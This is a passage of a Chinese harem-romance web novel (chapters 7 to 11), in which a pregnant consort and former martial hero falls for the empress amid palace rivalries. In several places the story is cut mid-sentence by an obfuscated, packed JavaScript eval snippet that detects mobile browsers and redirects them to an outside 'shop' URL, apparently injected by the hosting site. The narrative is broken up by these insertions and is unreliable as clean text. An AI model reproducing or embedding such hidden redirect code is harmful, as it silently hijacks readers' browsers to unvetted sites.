《我不是替身吗(女尊)》 7.第 7 章 为了不侍奉她,便装出了这副模样。 她眼眸褪去了温度,手却搭在了他的腰际,惩罚般地捏住他的劲腰。 “嗯,陛下。”段云商闷哼出声。 他这具身子本就食髓知味,孕期更甚,凡是君梵碰过的地方无不起了火。 段云商很是羞耻,唾弃着自己此刻的样子。 他没想到自己摔进了她的怀中,可眼下腰间酸软一片,他根本无法离开女人馨香的怀抱。 他努力克制着,不让自己发出令人面红的声音,一边慌乱地看向门口。 丹青与月晚早就退了出去,他的一世英名算是保住了。 段云商闭了闭眼,干脆一不做二不休,吻上了她的侧脸。 “推拒多次,可玉侍君想我想极了。” 君梵没有打断他的动作,像是纵容着她养的那只猫儿一般,任由他在自己的怀中以撒娇蒙混过关。 即便他想脱离君梵,可他的身子无不在告诉段云商,他对她有瘾了。 怎么能呢,君梵想要怎样的男子没有,他知晓天家无情,更不该对她产生别的心思,可自从那夜之后,段云商总能回想起她肃丽的面容。 【我明明不该跟她产生什么关系的。】 段云商想。 但他知晓,自己在第一次对上她的双眸时,他的行为便与思想背道而驰了。 身体总是比头脑诚实许多,嘴硬是龙傲天的通病。 在中药后,他还是选择了与陌生的帝王欢好。 不但如此,自己对她念念不忘,已然说明了他是有些喜欢眼前的女人的——他本来不相信什么一见钟情,这听起来实在是太傻了。 段云商没有承认,也不想承认。 【我不能喜欢她。】 【可我拿得出手的,不能提起她的兴趣,更没有办法去制衡眼前的帝王。】 【我除了色相,好像什么也不剩了。】 尤其这具身子已经迫不及待的起了一些反应,即便他不想面对,也丝毫不顾及他的颜面,示威一般地仰起头,令他颜面扫地。 昔日的段大侠,此刻无端的羞耻与慌乱起来。 女人规律的呼吸带着淡香,像一片白羽,抚在他的心尖儿上。 “明日起,便来御书房侍奉笔墨。”君梵道。 她面色不改,段云商红着脸打量着她的侧颜,再也说不出拒绝的话:“……是。” 言毕,一阵天旋地转,身.下的帝王不知何时起身将他压在了下面, 段云商呼吸都暂停,他闭紧了眼睛,却还隐隐有些期待。 他闻得到属于她的香气,那是一股被权势熏陶出的,令人迷醉的冷香,像是一个细小的钩子一般,勾着他的心口。 直到君梵低低的笑声传来:“玉侍君不送朕出去吗,还是说,侍君在期待些什么?” 在段云商僵持怔愣的一瞬,他的脸被眼前帝王屈指蹭了一下。 他明显捕捉到她眸中一闪而过的戏谑。 ……她是故意的。 段云商颇为咬牙切齿的,对她挤出了一抹笑:“恭送陛下。” 被君梵捉弄后,第二日段云商还是去了御书房。 他见过先凤君的画像,原本也天真的以为,君梵是睹人思人,要借着他怀念先凤君,可谁曾想,所谓的侍奉笔墨便真的是侍奉笔墨。 待到段云商侍奉的第七日,他告病了。 “陛下,要去看看吗?”月晚垂首问。 君梵捏着御笔许久,道:“那边怎么说的?” 月晚:“侍君那边说是晨起时头昏脑涨,两眼昏花,太医丞诊断过了,玉侍君气血两亏,当好生调养,陛下不必忧心。” 气血两亏。 君梵低笑了一声。 听玉奴殿的人说,这位侍君可是每日起的比他都早,便是有孕也坚持日日晨练。 他气血两亏,怕是见她温和,敷衍都懒得了。 她想起了这位玉侍君那张不情不愿的俊脸,他不愿意看她手头上这些乏味的折子,她叫他誊抄,没写几个字,段云商便开始偷偷打哈欠。 这副模样实在像极了她养的那只狸猫。 君梵问:“承欢殿的竹贵君近些时日如何?” 月晚在她身边呆的时间最久,听她这般说,心下当即就知晓陛下是何意了。 “竹贵君日日盼着陛下,昨儿差人来请陛下,要为陛下弹新曲呢。”月晚笑说,“只不过陛下忙碌,昨儿便歇在了玉奴殿。” 君梵颔首:“那是该去看看竹贵君。” 她是皇帝,总得一碗水端平。 段云商称病后头一回赖了床。 倒也不是为了将这戏演得多么真切,而是随着日子的推移,孕期的反应愈发厉害,他腰间酸软一片,实在乏的很。 看着大亮的天光,段云商生出了出去看看的心思:“丹青。” 他来到这儿也有四月有余,却日日两点一线,不知辜负了多少好风光。 思及此,段云商猛地怔住。 他生来自由,怎么甘心被这四角四方的天束缚住的? 后知后觉的发现令他生出一身的汗:“丹青,带我去御花园转转。” 他本是持着,左右今儿个也是不去侍奉她了,朝中政事繁忙,君梵也顾不上他,他四处转转也不打紧。 可谁曾想,今日不宜出门。 “竹贵君,我不愿因此事去叨扰陛下。” 气度温和的男子眼前罩了一条薄如蝉翼的细纱,语气却是又冷又硬。 竹贵君低垂着眼睫,对此不置可否:“溪芊,若你今日是为此事来寻我,那我们也没有聊下去的必要了。” “午夜梦回,你当真不怕她来索命吗?”盲夫唇角讽刺的笑意不加掩饰。 “祝青,为了争宠竟做出这等事。” 被他嘲讽的祝青面上却无甚表情,许久他道:“我也不希望失去那个孩子的。” “我眼盲了,心却不盲。”溪芊冷笑道。 段云商蹙了蹙眉,他并不想听这些后宫秘辛。 祝青:“当年并非是我,我们从前是最好的兄弟,溪芊,你还是不肯信我么?” 正当他要离开这是非之地时,便听溪芊道:“祝青,你将此事嫁祸于我时,我们便回不到从前了。” 段云商被迫听了一耳朵阴谋诡计,正欲转身,便瞧见溪芊拿出药丸。 “不是要我信你吗,好啊,你把这药吃下去,我们便还是好兄弟。”他勾着唇角。 段云商狠狠皱起了眉头。 那位清清冷冷的竹贵君立在那处久久不言,而他面前的盲夫步步紧逼。 一副他若不吃下的药丸,便会派身旁手下强行喂给他的模样。 一股热血猛然冲向头脑,他出身武林,见多了仗势欺人,寻常便打抱不平,而今瞧见这副欺负弱小的模样,当即上前制止道:“住手!” 从前他虽不曾进过皇宫,却没少听闻宫中贵人的手段有多腌臜。 在瞧见盲夫拿出那里药丸的时,段云商的嘴比脑子要快,当即暴露自己的位置。 两人纷纷朝他的位置看来,祝青眯了眯眼眸:“这位便是玉侍君。” 他并没有询问段云商的身份,而是笃定地说出了这句话。 “新来的,”溪芊依旧勾着唇角,“在这偷听了多久?” 段云商默了一瞬:“方来此处。” “这么巧么,”他煞有介事地颔首,而后偏头问身旁的祝青,“竹贵君,像这种巧合,当如何惩罚?” 祝青:“这是新晋宠夫。” “那又如何,反正陛下的心思也不在我这儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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双拳难敌四手,段云商很快被他身边的人制住,狼狈地被按在地上。 “可惜我看不到你的容貌,”溪芊惋惜地摇了摇头,笑道,“能得陛下的宠爱,想来像极了先凤君吧。” 段云商死死盯着他被覆盖的双眸,胸膛急剧起伏。 自他成为武林奇才后,便再无人敢如此待他。 溪芊俯下身,轻轻拍了拍他一侧的面颊:“杖责二十。” 这个动作没有半分伤害,但侮辱性极强,偏段云商挣不开:“放开我,你怎么敢!” 若是他以前的身体,杖择二十将养一段时日便好了,可此刻足以要了他的性命。 可段云商引以为傲的武艺,在此刻也没有半分用武之地。 他居然没有半点反抗的能力。 “一。”他听到身后侍人喊。 随后是皮肉撕裂般的痛苦。 他不能坐以待毙,否则等待他的将是死亡。 在段云商蓄力,准备尝试奋起反击之时,耳边传来宛若天籁的声音。 女人冷冽的声音令几人僵持在原地:“你们这是做什么。” 段云商费力地爬起来,咬牙道:“臣侍也想知道这究竟是怎么回事。” 君梵皱了皱眉,缓步上前,随后包裹住他有些寒凉的手。 段云商一顿,剩下的话没再说出口。 他原以为君梵顶多打圆场,可她却当众站在了他这边,为他撑腰。 她不是帝王吗,怎么能当众偏袒他呢,段云商微微抿唇。 从小到大,他都不曾被人偏袒过,可段云商不得不承认,被偏袒的感觉很好,他很喜欢。 8.第 8 章 段云商勉强接受了龙胎的存在。 毕竟旁人想要都无门,而那几位贵君的交谈也让他意识到,一旦失去龙胎将会面临什么。 不管他承不承认,深陷皇城,唯一能护住他的是君梵。 段云商一只手搭在小腹上,狠狠咬了一口乳酪酥:“丹青。” 丹青为他端来一盘糕点,默了半晌道:“主儿,你一口气吃了十个,要不……” “不用。”段云商打断他,“我的秋千搭好了吗?” 丹青点头:“我扶主儿去瞧瞧。” 两人朝殿外走着,丹青出言劝道:“溪贵君就是那脾气,竹贵君倒没什么,溪贵君的母家不容小觑,此番断不能得罪他啊。” 他瞧着段云商一怒之下吞了十个,只当他还在因着前些时日的事儿生气。 段云商摆了摆手,示意他无妨,心却道定要好生讨回来。 他在丹青这得知了当年之事。 在先凤君殁后,君梵先后找来了后宫的三位夫侍,而溪芊则是宁远侯的幺子,自小喜欢君梵,结识了年幼的祝青,与他一同入宫侍奉帝王。 溪芊盲了眼睛,因着病根失去了孕育女嗣的能力,而祝青有孕的那段时间,他对外宣称病得起不来身。 这两位贵君究竟如何想的,段云商不知晓,但他知晓,倘若他真心喜欢一个女娘,是断然不愿同旁人分享的。 段云商拿起一块酥糕:“陛下呢,今夜可有空闲来玉奴殿用膳?” 他不想场合这些内帷的腌臜事,君梵上次将救下他,他还惦记着。 到底是他腹中孩子的母亲,这几日又没了音讯。 朝堂之事难道就忙到君梵一整天都抽不出半分时间来看他吗? 丹青道:“朝堂事忙……” 朝堂事忙,又是朝堂事忙。 “要不是我还有伤……”段云商垂下了头。 说到这,段云商微微抿了抿唇。 他还记得君梵将他抱回玉奴殿时,吩咐身边的侍人去处理此事。 她是关心他的吧,应当如此的,倘若他在君梵心中半分地位也无,她是不会这么关切自己的,只是看着孩子的份儿上,也会对他这个父亲有所优待。 “有伤,反倒更惹人怜惜呀!”丹青拿来干净帕子为他净手。 “主儿,陛下如今待您用心,昨儿个更是当众站在了您这边,您如今更当这再接再厉,抓住陛下的心!” “主儿别怪丹青多嘴,何等玲珑的人才能窥透圣意,帝王的念头朝令夕改,您能如今怀着皇女还好些,否则这将来指不定如何。” 丹青压低了声音:“只有抓住陛下的心,将来的日子才能好过。” “……知道了。” 段云商脑海中仍是她肃丽的侧颜。 那日阳光正好,君梵将他打横抱起,正好的阳光就这么将她的面容映入他的心头。 心跳似乎漏了一拍,段云商缓缓呼出一口气。 怎能怪他呢,他也是人啊,在那般危难的时刻,他孩子的母亲天降一般,救他于水火,段云商不自觉勾出一丝笑容。 既然如此,他亲自去寻他,在君梵面前卖卖惨,能否得到她的关注与宠爱…… 段云商认真思考着这件事的可行性。 “好像有哪儿不对?” 段云商蹙着眉头,随后摇了摇头,将这个念头甩了出去。 他知晓丹青说得对,可如何才能抓住帝王的心呢。 段云商深陷那张美好而梦幻的情网。 从孤儿爬到武林高位,从来都是他一人,十六年来都是如此。 他一直提防着君梵,可一个人冷惯了,君梵的举动便轻易打动了他。 他迟迟没有反应过来,他又究竟何时将自己规划好的大计,变成了这等肤浅的,同后宫只会争宠的小儿郎一般的心思,开始争夺君梵的宠爱。 若是他好好回想一下,便能发觉,自己此刻竟是做着跟这群后宫男子们争宠的事。 他在君梵身边,明明是为了纯臣的位置。 即便男子不能为官,至少君梵看得上他的计谋,让他发光发热。 段云商向往高位,这样人们才会敬重他。 而不是一辈子被人踩在脚下。 “为我束发吧,”段云商想了想,看向他,“打扮得好看些。” “嗳。”丹青高兴了。 不枉他费尽口舌,主儿总算不打算跑了,不单如此,这是考虑着为陛下生女育儿,好留住陛下的心呢。 否则依着他主子的倔性子,怎么肯让他上妆。 “……她喜欢玉,”段云商凝望着铜镜中的自己,“今日戴玉簪。” 他想过了,他理应趁着眼下这个机会抓住君梵的心。 彼时,御书房。 “陛下放心。”月晚将折子收起。 君梵没有应声,她便继续道:“这些处理差不多了,听说玉侍君日日念叨陛下呢,陛下可要去看看?” “丹青如何说?”君梵道。 自这位玉侍君入宫,便嚷嚷着要跑。 “丹青办事,陛下放心。”月晚回道。 丹青是她拨去玉奴殿的,那可是个七窍玲珑的儿郎,知晓该说些什么。 毕竟后宫这些奴才要想过得好,唯有指望着主子往上爬。 就算玉侍君不愿爬也无妨,身在后宫,由不得他。 君梵敲了敲扶手:“这段时日,他还差人去过太医院吗?” 月晚笑言:“玉侍君这段时日让太医开了安胎药,按时喝着。” “溪贵君与竹贵君那边也处理好了,幸亏那日丹青来得及时,否则只怕伤及皇嗣。” 溪芊是个疯子,生了副温和似水的模样,却做出谋害皇嗣之事。 不过这次的重罚,希望他能长点记性。 “玉侍君近期如何?” 她问段云商最近有没有什么反常。 月晚道:“侍君今日叫人为他上妆打扮呢。” 此事若是放在旁的男子身上,便是极为寻常之事,但她们这位玉侍君可不同。 这个主儿从来不沾染粉黛,而今竟主动提及,让丹青为他上妆。 这可真是太阳打西边出来了。 “玉侍君按捺不住了,这是要来寻陛下。”月晚道。 君梵颔首,段云商开始为她打扮了,这是好事。 “既如此,朕是当去瞧一瞧他。”君梵将御笔撂在了笔山上,眸中多了几分玩味,“玉侍君受了大委屈,朕如何不露面。” 月晚敛下神色。 多亏此番玉侍君与皇嗣无碍,倘若出来什么差错,溪氏一族怕是要因此断送全族性命。 而今兵部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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寻常倒罢了,可他竟是做出了谋害宫夫与皇嗣之事,君梵不会姑息。 “陛下,玉奴殿当知晓这般的事了。”月晚道。 有君梵授意,这边的事段云商也能通过丹青第一时间知晓。 “他应当不会来了,”君梵眸中的神情淡去,“去瞧瞧他。” 玉奴殿的牌匾被斜阳笼罩出暖意。 在君梵听闻玉奴殿内隐隐传出来的欢声笑语后,捻着玉珠的指尖微微一顿,随后转头看向了那处。 殿门大开着,欢快的笑声从最里面传入她的耳畔。 “主儿好厉害!”丹青高声夸道。 虽瞧不真切,但君梵却仍能瞧见翩飞的衣角,黑红的袍角越荡越高。 在御书房方才传出消息后,段云商便换上了勾勒出他腰身的软烟罗长袍,端的是少侠意气风发。 他是料到了君梵会来玉奴殿。 君梵唇角勾起一丝淡笑,没有戳破他。 她的猫儿专门表演给她看,她怎么舍得拆穿。 然丹青没有领会到她的意思。 “陛下。”丹青恭敬朝她行礼。 变故就是在此刻发生的。 段云商本就是听说君梵来,这才故意如此,想博得她的赞扬。 可人在秋千上,心思却飞得远了,丹青猛地出声一唤,他的心也跟着剧烈跳动起来,可还没等他回眸对上君梵的眼眸,身形便一歪。 “啊!” 黑红的长衫猎猎作响,段云商试图在空中稳住身形,可在他看到君梵后,又不争气的愣住,直直地朝下坠去。 9.第 9 章 坠落却无法抵挡的恐惧将段云商包裹。 丹青的惊呼还在耳畔,心头的念头也杂乱无章起来。 他要在君梵面前出糗了。 这么高,即便他身子骨健壮,伤上加伤,也要养一段时间,更何况他此刻还怀着身孕。 他不该如此莽撞的。 然下一刻,身子稳稳落在了女人有力的怀中。 君梵怀着怀中的身子:“玉侍君如此闲情雅致,这是什么新招式不成吗?” 她倒不曾见过荡秋千还有这么多花样的。 但她怀中的段云商反应极大,当即睁眼道:“我只是闲来无事出来解闷。” 才不是为讨好她的争宠招式。 “是啊,闲来无事出来解闷,若是有个闪失可如何是好。” 她睨了一旁的丹青一眼。 丹青瑟缩到一旁,君梵大步将人抱回玉奴殿。 她怀中的人沉默了许久,闷声道:“你就只关心皇嗣如何吗。” 君梵眉头轻不可察地蹙了蹙,垂眸便见他有些潮湿的长睫。 “哭了?”君梵将他放在榻上,眉头微挑,“既然吓哭了,下次总该长记性了。” 段云商掐着掌心直视着她:“陛下,你好歹关心一下我。” “朕不正是在关心你吗,玉侍君,你还要朕如何关切?” 君梵丝毫没有因着他冒犯的言语如何,而是泰然自若地坐于他面前,撑着下颌看他。 段云商对上她深邃的凤眸,许久,败下阵一般错开了眼眸。 他原本想,君梵兴许是喜欢他的,毕竟他是最像的替身了,又孕育着皇嗣,可她的的确确多日不曾来看他,都不曾带话给他。 君梵根本不关心他,也不喜欢他。 这个认知让他心头闷闷痛了起来。 一切都是他一厢情愿,君梵怎么会对他动这样的心思呢。 段云商偏过了头:“……我与陛下的宫夫们,有什么分别吗?” 他长睫轻颤着,却还要自虐地问出了这个问题。 君梵从不曾考虑过这种问题。 她是帝王,帝王的心思应当放在朝堂之上,而不是后宫的女儿情长。 历朝历代来,帝王广纳后宫,不过就是为了繁衍子嗣。 后宫宫夫都是一样的,但她看着段云商濡湿的眸子,并没有说出这样的话。 “你与他们不同。” 君梵伸出指腹,摩挲了一瞬他泛红的眼尾。 他与成锦音生得太像了,但君梵后来便再没将他当做过成锦音。 成锦音温和而深沉,而眼前的人太过天真,单纯的不成样子。 段云商的想法总能叫人啼笑皆非,或许在他的心中,世间之事都很简单。 他像个欢脱的,没长大的孩子,与这些阴谋诡计格格不入。 段云商微微抿唇,而后转过头看着她求证:“真的吗?” “君无戏言。” 他发冠歪歪斜斜,头发也乱糟糟的。 君梵抬手将他的发顶揉得更乱。 他别扭地嘟囔着:“我哪儿不一样,你可别跟我说,是我没有他们聪明,没有他们七窍玲珑,只会给你惹祸……” 他对自己还是有些自知之明的,段云商知晓自己的心眼没别人的多,他说话行事向来直来直去。 “玉侍君未免有些可爱了,”君梵唇角扬起几分,“朕倒觉得这样不错。” “你……”段云商哑然,垂着头抿紧了唇瓣。 他堂堂武林少侠,还没有人这么夸过他。 他们大都会说,段大侠的武艺又精进许多,段大侠气势非凡,亦或是段大侠新得了一柄锋利的好剑。 他这般英武非凡的男子,她怎么要夸他可爱。 这种感觉实在怪异。 就像他的好兄弟丧彪,有一天被人顺着毛,叫他咪咪一般。 “身子好些了,便继续来侍奉吧,”君梵眼眸攫着他,“御书房没有玉侍君,倒少了几分味道。” 兴许是因着方才君梵说他与旁人不一样,段云商的阴霾也被拂去了不少。 他磨了磨牙,道:“侍奉陛下的人少我一个也不少……” “是吗,”君梵颔首,“朕倒觉得他们都不如玉侍君侍奉得好。” 当然,这话是违心的,拿来哄哄他。 段云商狐疑地看了她一眼:“陛下不嫌我粗鄙了?” 他磨墨之前将广袖全部撸到臂弯,便得了君梵戏谑的眼神。 他哪里学过女尊世界男子的礼仪,君梵虽然没有告诉他,但段云商知晓她是什么意思。 君梵这是觉得他没规矩。 她颇为无奈的看了眼前少年一眼:“朕何曾说过,玉侍君便是这般曲解朕的意思的?” 她明显觉出眼前的少年不一样了。 若是君梵没有记错的话,段云商便是在她为他解围后,开始关注她的行踪的,对她露出这幅可爱模样的。 他未免太过天真,好骗,一个从武林底层爬出来的少年,却没有被浸染,不是所有人都能像他这般的。 莫名的,君梵便不想他再染上别的颜色。 这样,好像也挺好的。 段云商看着她,思量着太医的话。 孩子多和母亲在一起,会更健康长得更快。 “陛下今夜要在玉奴殿吗?”段云商偏了偏头,再对上君梵那双眼眸时,有些心虚地轻咳一声,“我不是那个意思,是,是皇儿想母皇了。” 君梵扬眉:“朕也没有说什么。” “玉侍君开了口,盛情难却,朕是当留下的。” 原本绯红的耳尖更红了几分。 “陛下,”月晚出言道,“镇北将军在等您。” 段云商原本一鼓作气,可听闻月晚如此道,下意识便觉得君梵商议政事怎么也得到半夜。 “陛下忙正事要紧,我,我无妨的。” 话是这般说,可段云商不懂得收敛自己的情绪,明眼人都能瞧出他此刻的失落。 君梵唇角那一丝微不可察的笑意敛下,又恢复了寻常冷淡严肃的帝王。 “朝堂要事耽误不得,”她侧眸凝望着段云商,“晚一些朕便来看你。” 段云商攥着软滑的袖口,许久,听到丹青轻声道:“主儿,陛下心中惦记着您,听闻溪贵,溪芊,如今被贬为侍君了。” 段云商拿着乳酪酥的手微微一顿。 “溪侍君嚣张跋扈惯了,而今与主儿平起平坐,心中难免不忿,”丹青道,“但好在陛下周到,禁了溪侍君的足,这段时日主儿便能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341449|140032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安生了。” “……主儿是在想御花园的事吗?” 见他出神良久,不可能言语,丹青试探道。 “各宫的主子们入宫时间都不短了,主儿莫慌,陛下这段时间满心满眼都是主儿呢。” 他知晓丹青是在开解他,想让君梵满心满眼都是一个人,何其之难。 段云商道:“我没有因着其余侍君都心悦她一事吃味,你不必宽慰我。” 他看了一眼窗外,低声道:“我不嫉妒,也不生气,我心悦她,旁人也心悦她,是因为她太好了……” 言毕,段云商闷头咬下一口乳酪酥。 “其实我不该心悦她的。”他喃喃。 她们身份差距实在太大了,眼界亦是如此,她与他见过的风光并不相同。 在段云商的认知里,女子是该当好生在家中相夫教子的,他能在短时间内适应女尊国,不过是因为他本身叛逆,对新鲜事物接受程度高,外加对她的好奇。 可说到底,他还是无法接受他不是自己的“夫人”唯一的选择。 按照这儿的规矩,他只是君梵的一个妾。 段云商向来骄傲,即便他嘴上说着不在意。可实际心中无法真正做到不在意。 他无数次强迫自己不去在意,可还是做不出违心的举动。 “怎么办才好呢……” 与此同时,御书房。 君梵处理完政务,听完了玉奴殿传来的话。 “不喜欢朕?”君梵偏头看向那传话的侍人。 月晚道:“兴许是气话,男子不都是如此。” 君梵对此不置可否:“朕许久没有看过竹贵君了,随朕去承欢殿。” 她也并非是因为段云商的那些话,一怒之下便要食言,不去看他。 竹贵君到底是她的宫夫,也是要安抚的。 那人一直是祝青虽不能说是无错,但他到底一心待她,君梵不能寒了他的心。 做君王并不是一件容易的事。 譬如在后宫平衡诸位夫侍的关系,便不是易事。 她吩咐道:“告诉玉侍君,今夜不必等朕用膳了。” 既然不愿意喜欢她,那就给段云商时间再好生思量思量。 若是他想通了,一切照旧,但若是他下定了决心。 君梵径直迈出了御书房——那他惦记已久的位置,不必要了。 “什么?”段云商猛然站了起来。 因着动作太猛,拉扯到了逐渐变得柔软的腹部,痛得他皱了起眉头。 “嘶,保真吗,从哪儿听来的?” 见他捂着小腹吸凉气,丹青忙扶住他:“主儿,陛下身边的人传话,断不会有误的,您先别急,当心动了胎气。” “不急,我怎能不急!”段云商痛哼道。 他好容易给自己做好了心理建设,安抚好了自己,就听到君梵去见她的小老婆,不,是见她后宫哪位宫夫的消息。 “我要去见她。”腹部愈发绞痛,他按着小腹试图减轻疼痛。 “主儿……” “走啊!” 段云商痛得脸色发白,却也不知道哪儿来的力气,扯着丹青便往外走。 他倒要看看,君梵这负人心的家伙,究竟是如何抛下有孕的夫郎去逍遥的。 10.第 10 章 段云商想着,怎么也要拿上一把趁手的武器,不管怎样也要在两人面前占据上风。 他胸膛急剧起伏着,在目光搜寻之时,落在了侍卫腰间的佩剑上。 段云商眼眸亮了亮,猛然从侍卫腰间抽出那把佩剑。 “侍君!” “侍君不可!” 那些侍卫哪里料得到他当真会上前抢夺,段云商到底也是习武之人,虽为男子之身,不敌女子,却很好的躲过了侍卫的动作,撇下丹青直奔承欢殿。 在他离开一段距离后,方才减缓侍卫行动的丹青蓦然松开了手,那些侍卫也没有当真去追。 这位玉侍君的名头宫里谁没听说过。 入宫后被太医院诊出了身孕,陛下那般严肃的人又是如何的纵容他,她们这些下人也不敢真的阻拦。 再者说了,此番陛下前往承欢殿,专程有人将此事告知玉侍君。 谁敢说其中没有陛下的纵容,但她们这些下人到底不敢真的对这位怀有皇嗣,盛宠正隆的侍君做些什么。 段云商顺利的进了承欢殿。 他不知晓一路为何会如此顺利,但段云商没有时间去思量原因。 “陛下。” 这一声虽没有千娇百媚,却带着求饶的意思。 段云商只觉得自己脑中似乎有什么炸了。 他双眸格外的明亮,似乎是燃起了熊熊火焰。 胸膛的起伏更剧烈了几分,连带着原本难受不已的小腹,此刻更是腹痛如坠。 手中的剑似乎也被怒火烧得灼人,他像极了提剑杀上青楼的妒夫。 “陛下,求您了。”祝青跪在地上压低了嗓音。 他与溪芊是好友,即便两人当初都极其喜欢眼前的帝王,但他们仍在宫中相互扶持。 这样的情谊是旁人比不了的,毕竟也没有人真的能与跟自己共侍一妻的男子和平共处,他们起初能毫无芥蒂已是极难得。 但祝青似乎忽略了一个悲惨的事实。 君梵修长的指骨上还绕着玉珠,指尖有一搭没一搭地点在额角上:“你想让朕饶恕溪侍君。” “是臣侍求陛下,饶恕溪侍君。”祝青言辞恳切道。 他抿了抿唇,微微倾身,离得君梵近了些:“陛下,求您。” “你记不记得,朕早在你二人入宫之时,便曾同你们说过,朕不喜欢你们自以为是地耍小聪明。”她不疾不徐道。 “朕讨厌自以为是的人。” 然在她这话出口时,眼前的人脸色明显难看了几分。 君梵静静地看着他,祝青逐渐顶不住帝王眸光的压力:“陛下……” 君梵没有再看他,更没有再开口说什么。 祝青生了副清冷的好皮囊,若说溪芊是温和的成锦音,那他便是淡漠的成锦音。 他很聪明,更懂得以退为进。 溪芊在风口浪尖上,可祝青却愿意为他求情。 寻常人若是听闻他这番话,觉得他不惜触怒君王,反倒为同自己一同入宫的兄弟求情,只赞扬他善良非常,重情重义。 但君梵知晓,他并非是不了解她的人。 祝青知晓她的喜好,知晓她喜欢重情重义,性情纯良的男子,他要趁机牺牲了溪芊,去迎合她的喜好。 但他算错了,他忘了帝王淡漠无情。 君梵有心而为之,不会为此动怒,他想替溪芊美言几句,让君梵动怒,以此惩戒溪芊,让他再也无法翻身。 能坐上那万人之上的位置又该是何其的聪明。岂能被他的这些小伎俩蒙骗。 后宫争宠,帝王并非是看不出来,只是她没有点破。 君梵可以看着她的宫夫们为她吃醋,争宠,但不能想祝青这般利用她。 祝青颤着身子,许久,趴跪在她的面前。 “言而无信,非君子所为!” 门被来人猛然推开,君梵扬了扬眉头,还带着几分慵懒的模样,抬眸看向了这胆大包天,胆敢擅闯的人。 眼前的小猫脸色苍白,比眼前跪在他面前面色惨白如纸,形容枯槁的宫夫差不了多少。 倒像是拖着病躯,来兴师问罪的。 君梵沉声道:“你这是怎么了?” 段云商此刻的状态实在是不好,一向沉稳的君梵,此刻心头却猛然紧了一瞬。 眼前的段云商却怔愣的看着眼前的场景。 他似乎有些不可置信的呆愣了很久,掌心才脱了力,而后随着一声脆响,一柄长剑掉落在地。 “你……” 断云商呆愣地看着它,剩下的话卡在喉咙里也没能说出来。 怎么会这样? 方才她们明明不是,不是……他本意打算大闹一场。 可眼前的情形像是兜头给他泼了一盆凉水,让段云商瞬间清醒了过来。 在他对上君梵沉寂的双眸时,一切疑问都在此时豁然开朗。 她,是故意的? “玉侍君是如何闯进来的?”她没有看身旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363363|140032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跪着的祝青,氤氲的茶气笼在她面前。 段云商当时还百思不得其解,他不明白对方为何要这样做。 真的会是他猜错了吗,可君梵的神情让他不得不多想,但他没能继续深思下去,因着小腹的坠痛,段云商最终昏倒在地。 在疼昏过去的前一刻,他想,不喜欢这个捉弄他的骗子了。 “陛下,夜深了。” 月晚轻声道。 君梵指节缓缓绕着他柔顺的缎发:“你先下去吧。” 感情这个东西总是很奇怪。 分明她起初只是抱着逗弄小猫的心态,想佩他玩玩。 因为这突然出现的少年实在太过可爱,他热情又张扬,总是能吸引她的目光。 但她清楚,在段云商从极高的秋千落到她怀中时,君梵有那么一瞬间是触动了。 他干净清透的像块儿冰,君梵不想弄脏他。 依着她的性子,倘若她当真生了宫夫的气,断然不会用这种方式让对方主动而别扭的。 君王的聪慧,如何能用到后宫这个等幼稚,而不必要的地方上。 但偏偏在看到段云商受伤难受,她没有得逞的快意。 “段云商,段云商。”她呢喃着他的名字。 听起来像是温润如玉的翩翩公子,同他这小辣椒一般的脾性实在不搭。 睡梦中的人仿佛听到了他的呼唤一般,颤了颤长睫,却没有看到她此刻面上的柔和。 这一夜保住了皇嗣,而陛下偏宠玉侍君的消息长翅膀一般飞了出去。 在他有孕的第四个月,仲夏来临。 段云商被养得极好,不再像方来到这里一般清瘦,恰到好处的肌肉让他看起来更健康了,叫人一眼便能瞧得出来,是后宫养尊处优的娇夫郎。 “陛下,今日送来的折子未免也太多了。”段云商唇角的弧度僵了僵。 他在宫中养胎,实在是憋坏了,他求了许久,君梵好不容易同意他侍奉笔墨,可这么多折子,他得磨多少墨。 怕是要把手都磨断。 他也是在释放了笔墨之后才知晓,有些折子并非是要事。 这些大臣们屁大点事都要写成折子汇报给她。 譬如,上次的折子上写着,哪家酒楼的菜难吃极了,那位大臣硬是恶心的一日不曾用膳,带着怒气写下奏折呈上。 “这些时日,大臣们都催着朕立凤君,”君梵揉了揉眉心,拿余光瞭他,“玉侍君,你说这凤君立谁为好?” 11.第 11 章 君梵兴许是有些劣根性在身上的。 她总喜欢顶着这张肃丽威严的面庞逗弄他。 君王身上不容置喙的气度令他从不曾怀疑过君梵的话,便屡次被她骗色。 她说的话真假参半,段云商从不敢去猜测哪些是真话,哪些又是假话。 段云商扬了扬眉头,腰身便被她揽住。 他没有挣扎,顺势落在君梵的怀中,被她一下下抚着拢起的柔软小腹。 